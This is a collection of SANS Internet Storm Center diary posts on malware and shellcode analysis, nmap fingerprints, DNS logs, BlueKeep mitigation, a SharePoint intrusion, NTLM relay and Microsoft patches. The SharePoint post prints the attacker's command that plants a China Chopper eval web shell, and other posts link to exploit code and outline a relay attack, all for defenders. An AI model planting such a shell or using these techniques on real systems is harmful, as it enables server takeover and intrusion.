In diary entry "Analyzing First Stage Shellcode", I show how to analyze first stage shellcode when you have no access to the server with the second stage payload.

If you do have access, you have the option to connect to that server and retrieve the second stage payload for further analysis.

In this example, I'm using Ncat to connect to the server:

I use following options:

• -vv to increase verbosity
• --recv-only to receive data only, without sending any data
• -o dump.bin.vir to save the retrieved payload to a file
• redirect to NUL to avoid cluthering verbose output with payload data

My TCP honeypot tcp-honeypot.py is configured to send data, and wait for input. That's why Ncat exits after the TCP timeout occurs. I can configure my honeypot to close the connection immediately after sending the payload, by setting the read loop to 0 iterations (THP_LOOP 0):

Then Ncat exits immediately after receiving the payload:

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Yesterday, reader Alex submitted a PowerShell script he downloaded from a website. Xavier, handler on duty, showed him the script launched shellcode that tried to establish a TCP connection.

Xavier used scdbg, a very useful tool to analyze win32 32-bit shellcode. I've written a couple of diary entries about this tool, and today, and I want to show more features of this tool.

Here is the script:

It contains base64 data, that can be easily decoded with my tool base64dump.py:

This PowerShell script contains shellcode: this can be deduced from the 0x.. values and VirtualAllox, CreateThread and memset functions. I can extract this shellcode with re-search.py:

And then convert it to binary data and have it emulated by scdbg, like this:

So this confirms that this is 32-bit Windows shellcode, and that it connects via TCP to private IP address 192.168.1.100 port 53.

Until now, there's nothing really new here: we have talked about this in previous diary entries.

But what if you want to take it further, and want to figure out why this shellcode is trying to establish a TCP connection? In this case, we can't just connect to TCP 53 port, because it's a private IPv4 address.

However, scdbg has many features that can help us further analyze this shellcode. For example, we can let the scdbg emulator connect to a server we are running ourself and then observe what happens.

I'm using my Python TCP honeypot tcp-honeypot.py to setup a small local server, to serve string ABCDEFGHIJKLMNOPQRSTUVWXYZ on TCP port 53. Here is the definition of such a listener on TCP port 53:

And then I can pass this on as argument to tcp-honeypot.py:

scdbg's option -i enables interactive hooks: this means that file and network operations are also emulated. If I run scdbg with this particular shellcode and option -i, scdbg will try to connect to IPv4 address 192.168.1.100 on TCP port 53. My test machine however, has a different IPv4 address. This problem can be solved by using scdbg's option -redir: it allows us to redirect network traffic to another IP address (and also a different port, if needed). So here I'm running with interactive hooks and redirecting to my localhost:

What we see here, is that the shellcode reads 4 bytes from the TCP connection that has been established.

Then it allocates memory with a size of 0x44434241 bytes long.

And then it tries to read again from the TCP connection: 0x44434241 bytes (these values are reset by scdbg).

0x44434241 is DCBA in ASCII: this corresponds to the first 4 bytes of the honeypot data (ABCDEFG...) parsed as a little-endian integer.

So it looks like this shellcode first reads the size of the payload from the TCP connection, and then the payload itself. Let's test this with a size value of 8 bytes and a payload of 8 bytes, like this:

Indeed: the shellcode reads 4 bytes, allocates 8 bytes, and then reads 8 bytes. And then there's an error at stepcount 1527446. Let's run this again, but with more verbosity 10 steps before the error (1527446 - 10 = 1527436), to try to understand what happens:

What we get from this output, is that:

1. 8 bytes of memory are allocated at address 0x600000
2. 8 bytes are read from the TCP connection
3. these 8 bytes are written to 0x600000
4. these 8 bytes are being executed starting from 0x600000

You can see this in the instructions starting address 0x600000: 41, 42, 43, ..., or in ASCII: A, B, C, ...

So it looks like the shellcode handles our payload as machine language that is downloaded and executed. Let's try this with a small payload of 1 byte and instruction INT 3 (or 0xCC, the interrupt instruction used for debugging breakpoints):

Indeed, this time, the shellcode emulator tries to execute instruction INT3 (0xCC), and stops because it does not support this instruction.

As a last test, I'm going to serve my own shellcode that displays a message box:

This last test confirms our hypothesis: this shellcode, is first stage shellcode, that downloads a second stage and executes it from memory.

First it reads 4 bytes from the TCP connection, interprets that as the length of the payload to download, allocates enough memory, downloads the payload to the allocated memory, and then executes it.

This is typical first stage shellcode.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

When you need to quickly analyze a piece of malware (or just a suspicious program), your goal is to determine as quickly as possible what’s the impact. In many cases, we don’t have time to dive very deep because operations must be restored asap. To achieve this, there are different actions that can be performed against the sample: The first step is to perform a static analysis (like extracting strings, PE sections, YARA rules, etc).  Based on the first results, you can decide to go to the next step: the behavioural analysis. And finally, you decide to perform some live debugging or reverse-engineering. Let’s focus on the second step, the behavioural analysis. 

To perform the analyze, the malware must be executed in an air-gapped system or a sandbox (please be careful about this!) and tools can be used to detect what actions are performed and what changed on the infected system. To achieve this, you need tools. The easier way is to analyze the malware in an automated sandbox that will give you a detailed report but sandboxes aren’t always the best option. Why? If the sandbox is running in the cloud or operated by a third-party provider, can you trust it? Often the sandbox does not mimic exactly a corporate device with your own tools and configuration. 

To perform behavioural analysis, there are common tools like ProcessMonitor[1], ProcessHacker[2], APIMonitor[3] or Regshot[4] (to check what’s happening at system level). There are many more, the most important is to build your personal toolbox that you can deploy in no time when required. One of the tools that I like most is RegShot. It takes a “snapshot” of the Windows registry at a time ’t’, take a second one at a time ’t+1’ (when the malware has been executed) and displays the differences between the two captures.

In 2012, Microsoft released a tool called “Attack Surface Analyzer”. The idea is, like Regshot, to search for differences between two snapshots when installing a new application in a Windows environment. The good news, they released the version 2.0 last month! Why not use the tool to detect changes in a system infected by a piece of malware?

Here is an example. Take the first snapshot (let’s call them “Before” and “After”):

Infect the system by the malware sample and take the second snapshot. Now we can search for infection pieces of evidence:

If you need to exchange data with another tool or platform, it’s possible to export data in JSON:

{
      "Compare": {
        "Path": "C:\\Users\\REM\\AppData\\Roaming\\brbconfig.tmp",
        "Permissions": "O:BAG:S-1-5-21-1866265027-1870850910-1579135973-513D:(A;;FA;;;SY)(A;;FA;;;BA)(A;;FA;;;S-1-5-21-1866265027-1870850910-1579135973-1000)",
        "Size": 73,
        "RowKey": "usO+caB0ykbh9JRLCjwzMw=="
      },
      "BaseRowKey": "",
      "CompareRowKey": "usO+caB0ykbh9JRLCjwzMw==",
      "BaseRunId": "Before",
      "CompareRunId": "After",
      "ChangeType": "CREATED",
      "ResultType": "FILE"
    }

Currently, ASA logs the following artefacts: 

• File system (static snapshot and live monitoring available)
• User accounts
• Services
• Network Ports (listeners)
• Certificates
• Registry (Windows only)

It does not log created processes, threats, MUTEX or network traffic but Microsoft could add more data in a future version (as they explain on the project page).

Some good points for ASA:

• It’s not well-known by malware developers and I never see a sample looking for it as an anti-debugging technique
• You just need to unzip the archive to run it, GUI and a command line versions exist
• Microsoft provides versions for Windows, MacOs & Linux!

The tool is available on the Microsoft GitHub page[5].

[1] https://docs.microsoft.com/en-us/sysinternals/downloads/procmon
[2] https://processhacker.sourceforge.io/
[3] http://www.rohitab.com/apimonitor
[4] https://sourceforge.net/projects/regshot/
[5] https://github.com/microsoft/AttackSurfaceAnalyzer

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Nowadays, when you analyze a Word document with VBA macros, and you find BASE64 strings, 99/100 it's PowerShell malware.

A reader submitted a malware sample, and her/his analysis, asking for some shortcuts/quick tips.

Taking a quick look at the sample with oledump.py gives me this output:

First, it's clear that this Word document contains VBA macros (M/m indicators).

And when I see streams that hint to forms and/or objects (stream 17 to 25), I take a closer look, because often the real payload is hidden there. First I focus on the largest stream of these streams: stream 20 in this case.

And indeed, I see a long string that looks like BASE64 encoded UNICODE. Most likely a PowerShell script.

I have a couple of options to extract this string. Like using option -S to extract strings:

Or piping this into base64dump.py:

That can also do the decoding:

You can find the reader's analysis here.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Besides determining the state a TCP/UDP port, nmap can also try to figure out which service is listening on that port. This is done by sending different requests to the port, and analyzing the replies. This feature is called service detection, and is activated with option -sV.

When nmap can not determine which service is listening, it will produce a so-called Service Fingerprint:

If you have an idea which service might be listening, you can submit this fingerprint on the nmap site.

But you can also take a look at the service fingerprint yourself, and maybe you'll recognize some replies. The problem is that the fingerprint looks quite difficult to understand, but that's mainly because of the format. Some simple edits will make the fingerprint more readable.

First, the fingerprint is wrapped over several lines: character sequence "\nSF:" is used to indicate a line-wrap. Next, the different fields that make up a fingerprint are separated by character %.

When you remove the line-wrap character sequence, and replace % with a newline, the fingerprint becomes easier to read:

The fingerprint starts with SF, the portnumber and the protocol. Next you have the following fields:

• nmap version
• service detection intensity
• month/day of the scan
• epoch (hexadecimal)
• platform

And then you have reply records: r(...).

The first field of a reply record is the name of the request (can be found in the nmap service probe file), the size of the reply (hexadecimal) and the (truncated) content of the reply.

Just looking at the replies might give you a hint for the type of service you are scanning.

If you have an idea which service is running, and how to detect it, you might even make a custom signature. I show how to do this in the following video:

 

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

In the following video, I show how to interpret nmap's service fingerprint data for unknown services (using service detection -sV).

And, provided one knows how to identify a service nmap reports as unknown, I show how to update nmap's service probe file to add detections for unknown services..

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

I had to test a program on Windows using a particular drive letter.

So I was thinking of mounting an ISO file, or a VeraCrypt volume, and have a drive with that particular drive letter on my machine. And then I remember something ... old ... really old.

Back in the early nineties, I often had to do something similar on MS DOS. I used the SUBST command.

It still exists on Windows. You provide an unused drive letter and a path on an existing drive, and voilà:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

I have been asked this question a few times, and figure it may be worthwhile to document this in a quick diary. This is typically the result of watching for odd DNS queries (and I highly recommend that). But not all DNS queries are created equal, and sometimes you will see odd, or even malicious, hostnames and domain names in your logs without any wrongdoing on your end.

The latest example I just ran into: faraisp.ir . IR being the country level domain for Iran, and I am currently not doing business with Iran, which certainly makes this a bit suspect if it bubbles up to the top of the "odd domain list".

The queries for this domain came in at a rate of 100-150/5min in my Zeek logs:

Next, let's break down all the queries for the "faraisp.ir" domain

You can click on the image to get a larger view. But the queries are essentially A/AAAA queries for ns[1-4].faraisp.ir. To add to this: they all came from my DNS server. Now the DNS server's query log would usually be my next step. But in this case, the query log does not show any queries for *.faraisp.ir. I also didn't see any queries from any of my hosts to the name server for *.faraisp.ir . The reason for these queries was that a prior query returned these hostnames as authority records. This triggered my name server to do a lookup for these hostnames. So I need to search for answers that contain faraisp.ir.

It turned out that a prior reverse lookup by the mail servers spam filter returned the authority record, and as a result, the name server then kept looking for ns[1-4].faraisp.ir. So why did the mail server try to reverse resolve the IP address over and over? My first guess was spam, but it turned out to be a brute force attack against the server:

May 23 16:47:35 mail postfix/smtpd[3420]: connect from unknown[185.137.111.145] May 23 16:47:42 mail postfix/smtpd[3420]: warning: unknown[185.137.111.145]: SASL LOGIN authentication failed: authentication failure May 23 16:47:42 mail postfix/smtpd[3420]: disconnect from unknown[185.137.111.145] May 23 16:47:58 mail postfix/smtpd[3420]: connect from unknown[185.137.111.44] May 23 16:48:05 mail postfix/smtpd[3420]: warning: unknown[185.137.111.44]: SASL LOGIN authentication failed: authentication failure May 23 16:48:05 mail postfix/smtpd[3420]: disconnect from unknown[185.137.111.44]

So at least not entirely a "false positive", but also not terribly exciting. Mail servers are probably the main source of odd DNS queries. They tend to do a lot of reverse lookups for anti-spam, and they also use various DNS based anti-spam and email validation features that often look very much like data exfiltration. You will also see a lot of less common record types in DNS queries from mail servers (TXT, SPF..).

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

[Please comment if you have any feedback / suggested additions/corrections. You can also use our comment form ]

The most notable vulnerabilities patched by Microsoft last week addressed an input validation flaw in the Remote Desktop Service. To exploit the vulnerability, an attacker would send a specially crafted Remote Desktop Protocol (RDP) request to the Remote Desktop Service. The vulnerability is notable for several reasons:

• The exploitation of the vulnerability does not require authentication.
• An exploit may lead to arbitrary code execution.
• (too) many organizations are exposing RDP to the Internet.
• Windows 7 / 2008 and older are affected, going back to Windows XP.

Current Exploit Development Status

Several security vendors stated publicly that they developed exploits internally that will at least trigger a denial of service condition (blue screen). Currently, there are at least two public partial exploits [1][2].  One triggers the "vulnerable path" without triggering a blue screen or causing any other damage. It can be adjusted to play with the "channel" parameter to create normal and exploit traffic. The second one also triggers the vulnerability without any intended ill effect. The second exploit has been made available in the form of a stand-alone vulnerability scanner.

It does appear non-trivial to develop a reliable remote code execution exploit for this vulnerability, which will hopefully get us a few more days until one is publicly available. However, exploit development is active, and I don't think you have more than a week.

Currently, we do not see a big increase in %%port:3389%%/TCP scanning. But this port is scanned rather heavily even without a new vulnerability drawing attention to it.

Detection

The NCC Group publicly released a Suricata signature to detect attacks taking advantage of the exploit [3].  It is difficult to estimate how good the signature is. Cisco released rules for snort as well. Note that RDP usually uses TLS, and all current partial exploits use TLS, making the value of these rules questionable.

What you need to do NOW

Remember, we are coming up on a long weekend in the US. I hope you are well into mitigating this vulnerability as you read this, but here are a few things to consider:

• Do you have any systems running affected versions of Windows? Where are they located (e.g., are they confined to particular subnets)? Can you block port 3389 (RDP) inbound and possibly outbound?
• Deploy IDS/IPS rules to detect the exploit (just in case, but note the TLS issue above).
• Scan your network for open RDP. Do not just use the vulnerability scanner, but find out who is using RDP and why. RDP should not be exposed if possible.
• Follow up the scan with the vulnerability scanner.
• Patch! You want to patch this by Friday. For some organizations, the long weekend may provide a better patch window which is hopefully still ok.

Network Level Authentication

Another mitigating factor that should be mentioned is "Network Level Authentication". Network Level Authentication requires a valid username and password before the connection negotiation starts. The attacker will have to authenticate to launch the attack. In Windows XP, Network Level Authentication needs to be enabled via Registry settings. In Windows 7 and later, it is a simple setting as you enable the remote desktop. However, keep in mind that not all clients are compatible with Network Level Authentication. You may also run into issues if you need to change credentials on your first log in. So test careful, but this is something you may want to enable. This may also help against future problems with RDP as it defers the complex initial session negotiation until the user is authenticated.

Longer Term Fixes

Being vulnerable exposes two fundamental weaknesses in your network: You are still running Windows 7 (or XP??), and you are exposing RDP. Neither is good, and both issues need to be addressed. With this focus on RDP, there is a good chance that additional vulnerabilities will be found in the next few months. If this is true, then fire drills will continue until you can get these two issues resolved.

Upgrading from Windows 7 to 10, and upgrading from Windows Server 2008, should already be underway, so you may just accelerate what you are already doing. If you still run Windows XP: There better be a very good reason for it, and I hope that you have those systems adequately protected.

Eliminating RDP may be difficult for some organizations. But you can at least isolate it by requiring a VPN to connect to it, or by taking advantage of an RDP gateway supporting SSL. Take a look at some of the guidance offered by Microsoft [4]

Technical Details

Before authentication, RDP negotiates various parameters and capabilities. After initiating the connection with an X.224 connection request and having it confirmed by the server, the client will send a "Generic Conference Control (GCC) Conference Create Request." Usually, this request defines three different channels. To trigger the exploit, an MS_T120 channel is added as a fourth channel. This channel should only bind to "channel 31", but the exploit will bind it to another channel. The current signatures look for this particular artifact. McAfee's blog offers an excellent summary of some of the details. [5]

I collected some packet captures from various normal and exploit tools. You can download the pcap files here: https://isc.sans.edu/diaryimages/BlueKeepPCAPs.tgz

[ note that some of the links below may trigger overly sensitive anti-malware scanners ]

[1] https://github.com/zerosum0x0/CVE-2019-0708
[2] https://github.com/n1xbyte/CVE-2019-0708/blob/master/poc.py
[3] https://github.com/nccgroup/Cyber-Defence/blob/master/Signatures/suricata/2019_05_rdp_cve_2019_0708.txt
[4] https://docs.microsoft.com/en-us/windows-server/remote/remote-desktop-services/welcome-to-rds
[5] https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rdp-stands-for-really-do-patch-understanding-the-wormable-rdp-vulnerability-cve-2019-0708/

---
Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
Twitter|

Back in March, Shodan started a new service called Shodan Monitor(1). What this service does is notify you of ports that are open on the network you  specify. When you initially setup your network, you put in your CIDR to monitor and then select notification triggers where you will get emails for any of these categories that show up on the specified network.   In the notification emails, you get a link to be able to whitelist systems. I’m finding that the uncommon ports to be chatty for large networks, and tend to whitelist many of these.

 

 

 

They have a heat map that shows you what hosts has the most open ports.  You can hover over them and see what system have the largest footprint on the Internet.

 

 

 

The Initial dashboard shows you the top port breakdown, notable ports and possible vulnerabilities for your networks you are watching.

 

 

 

 

While this list could be useful, it’s only gathering these details based on banner information, which web applications have lots of backported patches which make this less valuable for web.

 

 

 

 

While you can and should script this within you organization using Nmap, this is great way to validate and see what attackers are seeing from outside with little effort. Has anyone found other cool uses of this service yet?

 

(1) https://monitor.shodan.io/

 

Over the past week, I started seeing attacks on Sharepoint servers using vulnerability CVE-2019-0604.  The Zero Day Initiative has a great write up(1) on the exploit of the vulnerability. 

Initial detection of the exploit came from endpoint exploit detection. When reviewing the IIS logs, we saw a post to the Picker.aspx. This appears to be the most common entry point for this attack exploiting CVE-2019-0604. 

Initial Log 
        2019-05-02 07:04:13 192.168.1.1 POST /_layouts/15/Picker.aspx - 443 - 121.147.96.8 python-requests/2.18.4 200 0 0 670

In the case of this attacker, they dropper a China Chopper payload on the server. China Chopper has been around for a long time. Crowdstrike did a great writeup(2) in 2015.  The payload for this is just a one-liner that was echoed into the files via command line. 

The anomaly that endpoint detected was a cmd shell spawning by w3wp.exe process. 

      Parent Process: w3wp.exe
      Process Name: cmd.exe

        "C:\Windows\System32\cmd.exe" /c echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["t"],"unsafe");%^> > "%CommonProgramFiles%\Microsoft Shared\Web Server             Extensions\14\TEMPLATE\LAYOUTS\t.aspx" & echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["t"],"unsafe");%^> > 
       "%CommonProgramFiles%\Microsoft Shared\Web Server Extensions\15\TEMPLATE\LAYOUTS\t.aspx" & echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["t"],"unsafe");%^> > 
        "%CommonProgramFiles%\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\t.aspx"

While the attack appears to be an automated drive-by, the attackers did not come back and do any additional modifications to the server.

IOC's 

Attackers IPS:
121[.]147[.]96[.]8    
211[.]222[.]223[.]14 
119[.]65[.]36[.]2 

User agent string:python-requests/2.18.4

Chopper Files created:
"%CommonProgramFiles%\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\t.aspx"
"%CommonProgramFiles%\Microsoft Shared\Web Server Extensions\15\TEMPLATE\LAYOUTS\t.aspx”
"%CommonProgramFiles%\Microsoft Shared\Web Server Extensions\14\TEMPLATE\LAYOUTS\t.aspx”

(1)https://www.thezdi.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability
(2)https://www.crowdstrike.com/blog/chopping-packets-decoding-china-chopper-web-shell-traffic-over-ssl/

Thanks to my team for the analysis.

--

Tom Webb

@twsecblog

Five years ago I wrote a diary how metadata could be used to detect suspicious activity[1]. Obviously collecting packets allows the analyst to scrutinize the payload which allows in-depth analysis. However, with higher content being encrypted and the cost of storing terabyte of packets, more organization are now looking at a metadata-only approach to be good enough to respond to incidents.

Lately, I had discussion on what might be the "next generation of super tools" to help catch bad actors in a network. If you already have logs from many sources plus metadata with full packet capture at some key locations, using tools like User and Entity Behavior Analytics (UEBA) and Endpoint Detection and Response (EDR) are becoming really effective in the network at catching bad actors are becoming in some cases, a replacement for full packet capture.

This appears to be true when combining data from sources such as network devices logs made available to review endpoint activities. Not that long ago, network forensic tools (NFTs) were storing everything in/out of a network as raw packets, but today’s fast networks is making this approach pretty much impractical for nearly everyone. This is where rich host and network metadata can capture most of the information required and provide much better investigative value for the money, it is easier and in most cases faster to find issues lurking in the network at a much lower computational and storage cost.

There are still some cases where metadata might be insufficient where packets capture might be required to complement the investigation but that is becoming rarer.

What do you think currently works best for you in detecting actors inside a network: logs, packets, UEBA, EDR or a combination of some of these tools?

[1] https://isc.sans.edu/forums/diary/Is+Metadata+the+Magic+in+Modern+Network+Security/16114
[2] https://isc.sans.edu/forums/diary/Mapping+Use+Cases+to+Logs+Which+Logs+are+the+Most+Important+to+Collect/22526/
[3] https://isc.sans.edu/diary/Collecting+Logs+from+Security+Devices+at+Home/14614

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

NTLM relay attacks have been a well-known opportunity to perform attacks against Microsoft Windows environments for a while and they remain usually successful. The magic with NTLM relay attacks? You don’t need to lose time to crack the hashes, just relay them to the victim machine. To achieve this, we need a “responder” that will capture the authentication session on a system and relay it to the victim. A lab is easy to setup: Install the Responder framework[1]. The framework contains a tool called MultiRelay.py which helps to relay the captured NTLM authentication to a specific target and, if the attack is successful, execute some code! (There are plenty of blog posts that explain in details how to (ab)use of this attack scenario).
 
Once you deployed all tools, you need to wait for an “interesting” user to connect on the infected system. How to find such kind of juicy users credentials? Most vulnerability scanners propose different scanning modes. The classic one is a non-authenticated scan based on available ports (compare this to a penetration test in "black box" mode). In many organizations, scans are performed in "authenticated mode". This time, the scanner has credentials to connect to targets and is, therefore, able to access more information like the list of installed applications (compare this to a penetration test in "grey box" mode). See the example below with the free scanner OpenVAS[2]:

You can configure OpenVAS to collect information via SSH, SMB, SNMP or even connect to a VMware hypervisor. To achieve this, you need to provide valid credentials that have enough access rights to perform basic tasks on the scanned hosts.  

I was aware of a case where attackers implemented an NTLM relay on a first victim's host and waited for some SMB authentication. The vulnerability scanner used credentials to perform an authenticated scan and its connection details were automatically reused to pivot internally and infect more hosts. Seen that such users have more rights to do their job, it's always an interesting candidate for attackers.

So keep in mind that using security tools could also introduce some new risks! By the way, how to protect yourself against this type of attack? Use SMBv3 and enable SMB signing[2]!
 
[1] https://github.com/lgandx/Responder
[2] http://www.openvas.org/
[3] https://blogs.msdn.microsoft.com/openspecification/2017/05/26/smb-2-and-smb-3-security-in-windows-10-the-anatomy-of-signing-and-cryptographic-keys/
 
 
https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Description
CVE	Disclosed	Exploited	Exploitability (old versions)	current version	Severity	CVSS Base (AVG)	CVSS Temporal (AVG)
.NET Framework Denial of Service Vulnerability
%%cve:2019-0864%%	No	No	Less Likely	Less Likely	Important
.NET Framework and .NET Core Denial of Service Vulnerability
%%cve:2019-0820%%	No	No	Less Likely	Less Likely	Important
.Net Framework and .Net Core Denial of Service Vulnerability
%%cve:2019-0980%%	No	No	Less Likely	Less Likely	Important
%%cve:2019-0981%%	No	No	Less Likely	Less Likely	Important
ASP.NET Core Denial of Service Vulnerability
%%cve:2019-0982%%	No	No	Less Likely	Less Likely	Important
Azure DevOps Server and Team Foundation Server Cross-site Scripting Vulnerability
%%cve:2019-0872%%	No	No	Less Likely	Less Likely	Important
%%cve:2019-0979%%	No	No	-	-	Important
Azure DevOps Server and Team Foundation Server Information Disclosure Vulnerability
%%cve:2019-0971%%	No	No	Less Likely	Less Likely	Important
Chakra Scripting Engine Memory Corruption Vulnerability
%%cve:2019-0912%%	No	No	-	-	Critical	4.2	3.8
%%cve:2019-0913%%	No	No	-	-	Critical	4.2	3.8
%%cve:2019-0914%%	No	No	-	-	Critical	4.2	3.8
%%cve:2019-0915%%	No	No	-	-	Critical	4.2	3.8
%%cve:2019-0916%%	No	No	-	-	Critical	4.2	3.8
%%cve:2019-0917%%	No	No	-	-	Critical	4.2	3.8
%%cve:2019-0922%%	No	No	-	-	Critical	4.2	3.8
%%cve:2019-0923%%	No	No	-	-	Important	4.2	3.8
%%cve:2019-0924%%	No	No	-	-	Critical	4.2	3.8
%%cve:2019-0925%%	No	No	-	-	Critical	4.2	3.8
%%cve:2019-0927%%	No	No	-	-	Critical	4.2	3.8
%%cve:2019-0933%%	No	No	-	-	Critical	4.2	3.8
%%cve:2019-0937%%	No	No	-	-	Critical	4.2	3.8
Diagnostic Hub Standard Collector, Visual Studio Standard Collector Elevation of Privilege Vulnerability
%%cve:2019-0727%%	No	No	Less Likely	Less Likely	Important	6.7	6.0
GDI+ Remote Code Execution Vulnerability
%%cve:2019-0903%%	No	No	More Likely	More Likely	Critical	8.8	7.9
Internet Explorer Information Disclosure Vulnerability
%%cve:2019-0930%%	No	No	More Likely	More Likely	Important	2.4	2.2
Internet Explorer Memory Corruption Vulnerability
%%cve:2019-0929%%	No	No	-	-	Critical	7.5	6.7
Internet Explorer Security Feature Bypass Vulnerability
%%cve:2019-0995%%	No	No	-	-	Important	7.3	6.6
Internet Explorer Spoofing Vulnerability
%%cve:2019-0921%%	No	No	Less Likely	Less Likely	Important	2.4	2.2
Jet Database Engine Remote Code Execution Vulnerability
%%cve:2019-0893%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2019-0894%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2019-0895%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2019-0896%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2019-0897%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2019-0898%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2019-0899%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2019-0900%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2019-0901%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2019-0902%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2019-0889%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2019-0890%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2019-0891%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Latest Servicing Stack Updates
ADV990001	No	No	-	-	Critical
May 2019 Adobe Flash Security Update
ADV190012	No	No	-	-	Critical
Microsoft Azure AD Connect Elevation of Privilege Vulnerability
%%cve:2019-1000%%	No	No	Less Likely	Less Likely	Important
Microsoft Browser Memory Corruption Vulnerability
%%cve:2019-0940%%	No	No	More Likely	More Likely	Critical	7.5	6.7
Microsoft Dynamics On-Premise Security Feature Bypass
%%cve:2019-1008%%	No	No	Less Likely	Less Likely	Important
Microsoft Edge Elevation of Privilege Vulnerability
%%cve:2019-0938%%	No	No	-	-	Important	4.2	3.8
Microsoft Edge Memory Corruption Vulnerability
%%cve:2019-0926%%	No	No	-	-	Critical	4.2	3.8
Microsoft Guidance to mitigate Microarchitectural Data Sampling vulnerabilities
ADV190013	No	No	More Likely	More Likely	Important
Microsoft Office Access Connectivity Engine Remote Code Execution Vulnerability
%%cve:2019-0945%%	No	No	Less Likely	Less Likely	Important
%%cve:2019-0946%%	No	No	Less Likely	Less Likely	Important
%%cve:2019-0947%%	No	No	-	-	Important
Microsoft Office SharePoint XSS Vulnerability
%%cve:2019-0963%%	No	No	-	-	Important
Microsoft SQL Server Analysis Services Information Disclosure Vulnerability
%%cve:2019-0819%%	No	No	Less Likely	Less Likely	Important
Microsoft SharePoint Elevation of Privilege Vulnerability
%%cve:2019-0957%%	No	No	Less Likely	Less Likely	Important
%%cve:2019-0958%%	No	No	Less Likely	Less Likely	Important
Microsoft SharePoint Server Information Disclosure Vulnerability
%%cve:2019-0956%%	No	No	-	-	Important
Microsoft SharePoint Server Remote Code Execution Vulnerability
%%cve:2019-0952%%	No	No	-	-	Important
Microsoft SharePoint Spoofing Vulnerability
%%cve:2019-0949%%	No	No	-	-	Important
%%cve:2019-0950%%	No	No	-	-	Important
%%cve:2019-0951%%	No	No	-	-	Important
Microsoft Word Remote Code Execution Vulnerability
%%cve:2019-0953%%	No	No	Less Likely	Less Likely	Critical
NuGet Package Manager Tampering Vulnerability
%%cve:2019-0976%%	No	No	Less Likely	Less Likely	Important
Remote Desktop Services Remote Code Execution Vulnerability
%%cve:2019-0708%%	No	No	-	-	Critical	9.8	8.8
Scripting Engine Memory Corruption Vulnerability
%%cve:2019-0884%%	No	No	More Likely	More Likely	Critical	6.4	5.8
%%cve:2019-0911%%	No	No	More Likely	More Likely	Critical	7.5	6.7
%%cve:2019-0918%%	No	No	More Likely	More Likely	Critical	7.5	6.7
Skype for Android Information Disclosure Vulnerability
%%cve:2019-0932%%	Yes	No	Less Likely	Less Likely	Important
Unified Write Filter Elevation of Privilege Vulnerability
%%cve:2019-0942%%	No	No	Less Likely	Less Likely	Important	4.4	4.0
Win32k Elevation of Privilege Vulnerability
%%cve:2019-0892%%	No	No	More Likely	More Likely	Important	7.8	7.0
Windows DHCP Server Remote Code Execution Vulnerability
%%cve:2019-0725%%	No	No	Less Likely	Less Likely	Critical	8.1	7.3
Windows Defender Application Control Security Feature Bypass Vulnerability
%%cve:2019-0733%%	No	No	Less Likely	Less Likely	Important	5.3	4.8
Windows Elevation of Privilege Vulnerability
%%cve:2019-0734%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2019-0936%%	No	No	More Likely	More Likely	Important	7.8	7.0
Windows Error Reporting Elevation of Privilege Vulnerability
%%cve:2019-0863%%	Yes	Yes	Detected	Detected	Important	7.8	7.0
Windows GDI Information Disclosure Vulnerability
%%cve:2019-0882%%	No	No	More Likely	More Likely	Important	4.7	4.2
%%cve:2019-0961%%	No	No	More Likely	More Likely	Important	4.7	4.2
%%cve:2019-0758%%	No	No	More Likely	More Likely	Important	4.7	4.2
Windows Hyper-V Information Disclosure Vulnerability
%%cve:2019-0886%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2019-0881%%	No	No	More Likely	More Likely	Important	8.8	7.9
Windows NDIS Elevation of Privilege Vulnerability
%%cve:2019-0707%%	No	No	More Likely	More Likely	Important	7.0	6.3
Windows OLE Remote Code Execution Vulnerability
%%cve:2019-0885%%	No	No	More Likely	More Likely	Important	7.8	7.0
Windows Storage Service Elevation of Privilege Vulnerability
%%cve:2019-0931%%	No	No	More Likely	More Likely	Important	7.0	6.3

 

References

[1] https://zombieloadattack.com/

--
Renato Marinho
Morphus Labs| LinkedIn| Twitter

On Friday, one of our readers reported a phishing attempt to us (thanks to him!). Usually, those emails are simply part of classic phishing waves and try to steal credentials from victims but, this time, it was not a simple phishing. Here is a copy of the email, which was nicely redacted:

